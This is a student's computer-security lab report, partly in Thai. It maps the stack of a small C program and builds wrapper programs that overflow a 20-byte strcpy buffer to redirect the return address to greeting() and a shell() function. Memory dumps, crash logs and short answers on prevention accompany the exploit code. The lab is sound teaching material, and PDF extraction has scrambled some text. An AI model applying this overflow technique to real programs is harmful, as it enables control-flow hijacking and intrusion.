Computer Security Assignment 3

1. Draw a stack layout of your program. Start from the address of &buf[0] and stop at &i+8.
Specify symbol and content (if possible). Make sure that you have identified argument (i), and
return address.
ผลของโปรแกรม :
sitdhi@sitdhi-laptop:~/Documents/Computer Security$ ./ex1
&main = 0x8048474
&myfunction = 0x80484b5
&i = 0xbfae5df0
&buf[0] = 0xbfae5dc8
0xbfae5df8: 0xbb
0xbfae5df7: 0x8
0xbfae5df6: 0x4
0xbfae5df5:
0xbfae5df3: 0x0
0xbfae5df2: 0x0
0xbfae5df1:
0xbfae5def: 0x8
0xbfae5dee: 0x4
0xbfae5ded:
0xbfae5deb: 0xbf
0xbfae5dea: 0xae
0xbfae5de9:
0xbfae5de7: 0x0
0xbfae5de6: 0xac
0xbfae5de5:
0xbfae5de3: 0xbf
0xbfae5de2: 0xae
0xbfae5de1:
0xbfae5ddf: 0x6e
0xbfae5dde: 0xd6
0xbfae5ddd:
0xbfae5ddb: 0x0
0xbfae5dda: 0x38
0xbfae5dd9:
0xbfae5dd7: 0x35
0xbfae5dd6: 0x34
0xbfae5dd5:
0xbfae5dd3: 0x31
0xbfae5dd2: 0x30
0xbfae5dd1:
0xbfae5dcf: 0x37
0xbfae5dce: 0x36
0xbfae5dcd:
0xbfae5dcb: 0x33
0xbfae5dca: 0x32
0xbfae5dc9:
0xbfae5dc7: 0x0
0xbfae5dc6: 0x0
0xbfae5dc5:
0xbfae5dc3: 0x0
0xbfae5dc2: 0x0
0xbfae5dc1:

วาดเป็น stack layout ได้ดังรูปต่อไปนี้

สิทธิ ทรัพย์ศก
ุ ล 4931839321

0x84
0x0
0x84
0x5e
0x5f
0x5d
0x5b
0x37
0x33
0x39
0x35
0x31
0x0
0x0

0xbfae5df4:
0xbfae5df0:
0xbfae5dec:
0xbfae5de8:
0xbfae5de4:
0xbfae5de0:
0xbfae5ddc:
0xbfae5dd8:
0xbfae5dd4:
0xbfae5dd0:
0xbfae5dcc:
0xbfae5dc8:
0xbfae5dc4:

0xb5
0xc
0xb3
0x8
0xf4
0xf4
0x0
0x36
0x32
0x38
0x34
0x30
0x0

Address

Address relate to
buf

Content

Symbol

0xbfae5df8

buf + 0x30

bb

0xbfae5df4

buf + 0x2f to 2c 08 04 84 b5

address of myfunction()

&i = 0xbfae5df0

buf + 0x2b to 28 00 00 00 0c

int i = 12

0xbfae5dec

buf + 0x27 to 24 08 04 84 b3

return address after
finish myfunction()

0xbfae5de8

buf + 0x23 to 20 bf ae 5e 08

0xbfae5de4

buf + 0x1f to 1c 00 ac 5f f4

0xbfae5de0

buf + 0x18 to 1b bf ae 5d f4

0xbfae5ddc

buf + 0x17 to 14 6e d6 5b 00

0xbfae5dd8

buf + 0x13 to 10 '\0', '8', '7', '6'

0xbfae5dd4

buf + 0x0f to 0c '5', '4', '3', '2'

0xbfae5dd0

buf + 0x0b to 08 '1', '0', '9', '8'

0xbfae5dcc

buf + 0x07 to 04 '7', '6', '5', '4'

&buf[0] = 0xbfae5dc8

buf + 0x03 to 00 '3', '2', '1', '0'

buf[20]

Illustration 1: Stack layout of ex1
2. Modify the example program to exploit buffer-overflow attacks in the given program (ex2.c). Put
your code in the report and explain how did you obtain the offset and a valid return address for the
attack.
ใช้คำาสั่ง objdump -d ex2 เพื่อดูผลที่เกิดขึ้น

08048514 <greeting>:

08048665 <main>:
8048665:
55
8048666:
89 e5
8048668:
83 e4 f0
804866b:
83 ec 10
804866e:
e8 a1 fe ff ff
8048673:
8b 45 0c
8048676:
89 44 24 04
804867a:
8b 45 08
804867d:
89 04 24
8048680:
e8 c4 fe ff ff
8048685:
c9

ทำาให้ทราบว่า address ของ greeting()
8048685

push
mov
and
sub
call
mov
mov
mov
mov
call
leave

%ebp
%esp,%ebp
$0xfffffff0,%esp
$0x10,%esp
8048514 <greeting>
0xc(%ebp),%eax
%eax,0x4(%esp)
0x8(%ebp),%eax
%eax,(%esp)
8048549 <concat_arguments>

อยู่ที่ 08048514 และ return address ของ concat_arguments() อยู่ที่

และจาก stack layout ใน ex1 ทำาให้ทราบว่า return address จะอยู่ห่างจาก buf[0] เท่ากับ ขนาดของ buf ทีป
่ ระกาศ
ไว้ + 16 ซึ่งในที่นี้ประกาศ buf ไว้มีขนาดเท่ากับ 20 ดังนั้นจึงได้ offset เท่ากับ 36
เพื่อให้ง่ายต่อการสังเกต จึงขอเพิ่มโค้ดตามตัวหนาดังข้างล่างนี้ในโปรแกรม ex2.c
void greeting() {
printf("Welcome to exercise II\n");

สิทธิ ทรัพย์ศก
ุ ล 4931839321

}

printf("I hope you enjoy it\n\n");
printf("&greeting() : %p\n", &greeting); // แสดง address ของ greeting()

void concat_arguments(int argc, char**argv) {
char buf[20];
char *p = buf;
int i;
for(i=1;i<argc;i++) {
strcpy(p, argv[i]);
p+=strlen(argv[i]);
if(i+1 != argc) {
*p++ = ' ';
}
}
printf("%s\n", buf);
//// เพิ่ม

}

printf("&argc = %p\n", &argc); // แสดง address ของ argc
printf("&buf[0] = %p\n", buf); // แสดง address ของ buf[0]
for(p=((char *) &argc)+8;p>buf-8;p--) {
printf("%15p: 0x%x\t", p, *(unsigned char*) p); // วาด stack layout ออกมาเป็นเหมือน ex1
if (! ((unsigned int )p %4) )
printf("\n");
}
printf("\n");

และโปรแกรม wrapper.c มีการปรับแต่งค่า offset ดังนี้
int main(int argc,char **argv) {
char *buf = (char *) malloc(sizeof(char)*1024);
char **arr = (char **)malloc(sizeof(char *)*3);
int i;
for(i=0; i < 35; i++) {
buf[i] = 'x';
}
buf[36]= 0x14;
buf[37]= 0x85;
buf[38]= 0x04;
buf[39]= 0x08;
arr[0] = "./ex2";
arr[1] = buf;
arr[2] = '\0';
execv("./ex2", arr);
}
ได้มก
ี ารวนลูปเพือ
่ แทนค่า 'x' ให้กับ buf[0] ถึง buf[34] แทนค่า buf[39] ถึง buf[36] ด้วย 0x08048514 ซึ่งเป็น
address ของ greeting()

ผลการทดสอบโปรแกรม ex2 ทีไ
่ ด้รับการปรับแต่งพบว่ามี stack smashing เกิดขึ้น
sitdhi@sitdhi-laptop:~/Documents/Computer Security$ ./wrapper
Welcome to exercise II
I hope you enjoy it
&greeting() : 0x8048514
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
&argc = 0xbf8ac2e0
&buf[0] = 0xbf8ac2b8

สิทธิ ทรัพย์ศก
ุ ล 4931839321

0xbf8ac2e8: 0xab
0xbf8ac2e7: 0xbf
0xbf8ac2e6: 0x8a
0xbf8ac2e5: 0xc3
0xbf8ac2e4: 0xa4
0xbf8ac2e3: 0x0
0xbf8ac2e2: 0x0
0xbf8ac2e1: 0x0
0xbf8ac2e0: 0x2
0xbf8ac2df: 0x8
0xbf8ac2de: 0x4
0xbf8ac2dd: 0x86
0xbf8ac2dc: 0x85
0xbf8ac2db: 0x0
0xbf8ac2da: 0x78
0xbf8ac2d9: 0x78
0xbf8ac2d8: 0x78
0xbf8ac2d7: 0x78
0xbf8ac2d6: 0x78
0xbf8ac2d5: 0x78
0xbf8ac2d4: 0x78
0xbf8ac2d3: 0x78
0xbf8ac2d2: 0x78
0xbf8ac2d1: 0x78
0xbf8ac2d0: 0x78
0xbf8ac2cf: 0x78
0xbf8ac2ce: 0x78
0xbf8ac2cd: 0x78
0xbf8ac2cc: 0x78
0xbf8ac2cb: 0x78
0xbf8ac2ca: 0x78
0xbf8ac2c9: 0x78
0xbf8ac2c8: 0x78
0xbf8ac2c7: 0x78
0xbf8ac2c6: 0x78
0xbf8ac2c5: 0x78
0xbf8ac2c4: 0x78
0xbf8ac2c3: 0x78
0xbf8ac2c2: 0x78
0xbf8ac2c1: 0x78
0xbf8ac2c0: 0x78
0xbf8ac2bf: 0x78
0xbf8ac2be: 0x78
0xbf8ac2bd: 0x78
0xbf8ac2bc: 0x78
0xbf8ac2bb: 0x78
0xbf8ac2ba: 0x78
0xbf8ac2b9: 0x78
0xbf8ac2b8: 0x78
0xbf8ac2b7: 0xbf
0xbf8ac2b6: 0x8a
0xbf8ac2b5: 0xc2
0xbf8ac2b4: 0xb4
0xbf8ac2b3: 0x0
0xbf8ac2b2: 0x0
0xbf8ac2b1: 0x0
*** stack smashing detected ***: ./ex2 terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xe7ade8]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xe7ada0]
./ex2[0x8048663]
./ex2[0x8048685]
======= Memory map: ========
00569000-0056a000 r-xp 00000000 00:00 0
[vdso]
007af000-007cb000 r-xp 00000000 08:06 1807
/lib/libgcc_s.so.1
007cb000-007cc000 r--p 0001b000 08:06 1807
/lib/libgcc_s.so.1
007cc000-007cd000 rw-p 0001c000 08:06 1807
/lib/libgcc_s.so.1
00c69000-00c84000 r-xp 00000000 08:06 1757
/lib/ld-2.10.1.so
00c84000-00c85000 r--p 0001a000 08:06 1757
/lib/ld-2.10.1.so
00c85000-00c86000 rw-p 0001b000 08:06 1757
/lib/ld-2.10.1.so
00d9a000-00ed8000 r-xp 00000000 08:06 5168
/lib/tls/i686/cmov/libc-2.10.1.so
00ed8000-00eda000 r--p 0013e000 08:06 5168
/lib/tls/i686/cmov/libc-2.10.1.so
00eda000-00edb000 rw-p 00140000 08:06 5168
/lib/tls/i686/cmov/libc-2.10.1.so
00edb000-00ede000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:06 163059
/home/sitdhi/Documents/Computer Security/ex2
08049000-0804a000 r--p 00000000 08:06 163059
/home/sitdhi/Documents/Computer Security/ex2
0804a000-0804b000 rw-p 00001000 08:06 163059
/home/sitdhi/Documents/Computer Security/ex2
09314000-09335000 rw-p 00000000 00:00 0
[heap]
b78cb000-b78cc000 rw-p 00000000 00:00 0
b78dc000-b78df000 rw-p 00000000 00:00 0
bf899000-bf8ae000 rw-p 00000000 00:00 0
[stack]
Aborted
จะเห็นว่าตั้งแต่ buf[0] ถึง buf[34] (ที่เป็นตัวหนา) มีค่าเป็น 0x78 ซึ่งเป็นรหัส ASCII ของ 'x' แต่ในช่อง buf[35] (ตัวหนา
ขีดเส้นใต้) เป็น 0x0 หรือ null ซึ่งเป็นตัวบ่งบอกว่าสิ้นสุด argument ทีร่ ับเข้ามาแล้ว จึงทำาให้ค่า return address (ตัว

เอียง) ไม่มีการเปลี่ยนแปลง เพราะ over-flow ไปไม่ถึง
แต่เมื่อปรับให้โปรแกรม wrapper.c เป็นดังนี้
for(i=0; i < 35; i++) {
buf[i] = 'x';
}
buf[35]= 0x14;
buf[36]= 0x85;
buf[37]= 0x04;
buf[38]= 0x08;

ผลของการรันโปรแกรมจะได้

sitdhi@sitdhi-laptop:~/Documents/Computer Security$ ./wrapper
Welcome to exercise II
I hope you enjoy it
&greeting() : 0x8048514

สิทธิ ทรัพย์ศก
ุ ล 4931839321

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx#�#
&argc = 0xbfbc31f0
&buf[0] = 0xbfbc31c8
0xbfbc31f8: 0xab
0xbfbc31f7: 0xbf
0xbfbc31f6: 0xbc
0xbfbc31f5: 0x32
0xbfbc31f4: 0xb4
0xbfbc31f3: 0x0
0xbfbc31f2: 0x0
0xbfbc31f1: 0x0
0xbfbc31f0: 0x2
0xbfbc31ef: 0x0
0xbfbc31ee: 0x8
0xbfbc31ed: 0x4
0xbfbc31ec: 0x85
0xbfbc31eb: 0x14
0xbfbc31ea: 0x78
0xbfbc31e9: 0x78
0xbfbc31e8: 0x78
0xbfbc31e7: 0x78
0xbfbc31e6: 0x78
0xbfbc31e5: 0x78
0xbfbc31e4: 0x78
0xbfbc31e3: 0x78
0xbfbc31e2: 0x78
0xbfbc31e1: 0x78
0xbfbc31e0: 0x78
0xbfbc31df: 0x78
0xbfbc31de: 0x78
0xbfbc31dd: 0x78
0xbfbc31dc: 0x78
0xbfbc31db: 0x78
0xbfbc31da: 0x78
0xbfbc31d9: 0x78
0xbfbc31d8: 0x78
0xbfbc31d7: 0x78
0xbfbc31d6: 0x78
0xbfbc31d5: 0x78
0xbfbc31d4: 0x78
0xbfbc31d3: 0x78
0xbfbc31d2: 0x78
0xbfbc31d1: 0x78
0xbfbc31d0: 0x78
0xbfbc31cf: 0x78
0xbfbc31ce: 0x78
0xbfbc31cd: 0x78
0xbfbc31cc: 0x78
0xbfbc31cb: 0x78
0xbfbc31ca: 0x78
0xbfbc31c9: 0x78
0xbfbc31c8: 0x78
0xbfbc31c7: 0xbf
0xbfbc31c6: 0xbc
0xbfbc31c5: 0x31
0xbfbc31c4: 0xc4
0xbfbc31c3: 0x0
0xbfbc31c2: 0x0
0xbfbc31c1: 0x0
*** stack smashing detected ***: ./ex2 terminated
จะเห็นว่า buf[38] ถึง buf[35] (ตัวหนา) มีการเปลี่ยนแปลงค่าเป็น 0x8, 0x4, 0x85 และ 0x14 ตามลำาดับ ซึ่งเป็นค่าที่เราได้
กำาหนดไว้ในโปรแกรม wrapper.c แต่ยังไม่ใช่ที่ตอ
้ งการ เนื่องจากเราต้องการให้ buf[35] ไม่เป็น 0x0 หรือ null และ 0x8,
0x4, 0x85 และ 0x14 อยูท
่ ี่ตำาแหน่ง buf[39] ถึง buf[36] ตามลำาดับ เราจึงต้องแก้ไขโค้ดใน wrapper.c ใหม่
for(i=0; i < 36; i++) {
buf[i] = 'x';
}
buf[36]= 0x14;
buf[37]= 0x85;
buf[38]= 0x04;
buf[39]= 0x08;
โดยวนลูปจนถึง i < 36 เพือ
่ ไม่ให้เกิด null ใน buf[35] และให้ buf[39] ถึง buf[36] มีค่าเป็น 0x8, 0x4, 0x85 และ 0x14
ตามลำาดับ ซึ่งคือ address ของ greeting() ตามทีค
่ าดการณ์ไว้ มันน่าจะถูกต้องทุกอย่างแล้ว แต่ผลการทดสอบโปรแกรม

เป็นดังนี้
sitdhi@sitdhi-laptop:~/Documents/Computer Security$ ./wrapper
Welcome to exercise II
I hope you enjoy it
&greeting() : 0x8048514
Segmentation fault

3. จากความรู้ข้อ 1 และ ข้อ 2 ทำาให้คาดว่า return address ทีจ
่ ะต้องถูกแก้ไข อยู่ที่ buf[39] ถึง buf[36]
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char **argv) {
char *buf = (char *) malloc(sizeof(char)*1024);
char **arr = (char **)malloc(sizeof(char *)*3);
int i;
for(i=0; i < 36; i++) {
buf[i] = 'x';
}
/* 080484d4 <shell> */
buf[36]= 0xd4;
buf[37]= 0x84;
buf[38]= 0x04;
buf[39]= 0x08;
arr[0] = "./victim";

สิทธิ ทรัพย์ศก
ุ ล 4931839321

arr[1] = buf;
arr[2] = '\0';
execv("./victim", arr);
}

4. Question: Now you have mastered a generic buffer-overflow attack. Please answer the
following questions.

Most viruses and worms use buffer overflow as a basis for its attack.
Do you think that exploiting buffer-overflow attacks is trivial? Please justify your answer.
(i.e. Is it trivial to write a program to exploit buffer-overflow attacks in a server ?)
การทำา buffer-overflow นั้น ไม่ใช่เรือ
่ งง่ายก็จริง เพราะในบางกรณีเราไม่อาจทราบได้เลยว่า source code ของ
โปรแกรมที่เราจะโจมตีนั้นเขียนขึ้นมาอย่างไร แต่โปรแกรมที่ใช้กันโดยทั่วไป เช่น Apache web server หรือ
แม้แต่ระบบปฏิบัตก
ิ ารจำาพวก Linux ก็มก
ี ารเปิดเผย source code ดังนั้น หาที่จะต้องการเขียนโปรแกรมขึ้นมาเพื่อ
โจมตีการทำางานของโปรแกรมเหล่านี้ ก็ไม่ใช่เรือ
่ งยากเกินความสามารถเท่าใดนัก นักคอมพิวเตอร์โดยทั่วไปที่ทราบ
หลักการทำางานของระบบปฏิบต
ั ิการคอมพิวเตอร์ก็สามารถทำาได้

As a programmer, is it possible to avoid buffer overflow in your program (write secure code
that is not vulnerable to such attack)? Explain your strategy.
ในฐานะโปรแกรมเมอร์ เพื่อที่จะหลีกเลี่ยงการเกิด buffer-overflow ในโปรแกรม การรับค่า input เข้ามาใน
โปรแกรม ควรทำาการตรวจสอบความยาว และชนิดข้อมูลเสียก่อน ก็จะช่วยลดปัญหา buffer-overflow ลงส่วนหนึ่ง
หรืออีกกรณีหนึ่ง เลือกใช้ภาษาระดับที่สูงขึ้นมา ที่มต
ี ัวช่วยป้องกันปัญหา buffer-overflow เช่น Java

สิทธิ ทรัพย์ศก
ุ ล 4931839321

Sign up to vote on this title
UsefulNot useful